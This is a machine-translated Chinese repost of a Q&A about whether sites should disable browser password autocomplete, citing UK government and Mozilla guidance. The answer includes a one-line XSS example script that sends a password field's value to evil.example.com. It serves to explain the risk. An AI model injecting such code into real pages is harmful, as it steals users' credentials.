有很多在这里回复 https://stackoverflow.com/questions/2530/how-do-you-disable-browser-autocomplete-on-web-form-field-input-tag on how防止密码表单元素自动完成。我的问题是should we?
根据英国政府 https://www.cesg.gov.uk/articles/problems-forcing-regular-password-expiry;强制重置密码(客户经常要求我们这样做)描述了安全净损失并且它被积极劝阻。
根据Mozilla https://developer.mozilla.org/en-US/docs/Web/Security/Securing_your_site/Turning_off_form_autocompletion;强制关闭密码自动完成功能also建议一个安全净损失。英国 .gov 网站没有提到 https://www.cesg.gov.uk/guidance/password-guidance-simplifying-your-approach这种特殊的做法。
我的问题:
- 我是否应该尝试阻止密码自动完成,强制用户记住他们的密码,或者自动完成是否提供净收益?
// 请注明来源。
Update: My blog https://markitzeroday.com/xss/autocomplete/2018/07/08/password-autocomplete-and-modern-browsers.html如果您想在浏览器中尝试一下,这里有一个概念证明。
允许密码自动完成的典型风险是网站上的任何 XSS 缺陷都将允许攻击者获取密码。这是因为浏览器会自动补全密码字段值,因此它将在 DOM 中可用。
<script>
new Image().src = "//evil.example.com/?password=" + escape(document.getElementById('password').value);
</script>
但是,如果攻击者可以在 XSS 攻击中自行注入密码字段,那么无论您的真实密码字段上的自动完成设置如何,他们都可以注入启用自动完成功能的密码字段。但传统上,该属性首先会阻止密码被保存,因此无法在任何攻击中自动完成。
根据你的Mozilla 链接 https://developer.mozilla.org/en-US/docs/Web/Security/Securing_your_site/Turning_off_form_autocompletion,浏览器现在忽略autocomplete="off"
:
- 如果网站为表单设置 autocomplete="off",并且该表单包含用户名和密码输入字段,则浏览器仍会提供
记住这次登录,如果用户同意,浏览器就会
下次用户访问此页面时自动填充这些字段。
- 如果网站为用户名和密码输入字段设置 autocomplete="off",则浏览器仍会记住此登录,并且
如果用户同意,浏览器将在接下来自动填充这些字段
用户访问此页面的时间。
这是 Firefox(自版本 38 起)、Google Chrome(自 34 起)和 Internet Explorer(自版本 11 起)中的行为。
因此,你的问题的答案是“没有任何区别”。此外,浏览器有时会在完成登录凭据之前进行提示,并且 Lastpass 等密码管理器可以设置为不自动完成字段,而无需用户选择首先使用哪个登录名。某些漏洞扫描器(以及依赖这些扫描器的渗透测试人员)可能会引发在密码字段上启用自动完成功能的低风险问题。如果是这样,您应该能够自信地将他们指向 Mozilla 链接的方向。However,需要注意的一件事是,如果您正在获得 PCI 合规性,您可能仍需要对此进行补救。请参见我的博文 https://markitzeroday.com/xss/autocomplete/2018/07/08/password-autocomplete-and-modern-browsers.html进行更深入的分析。
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)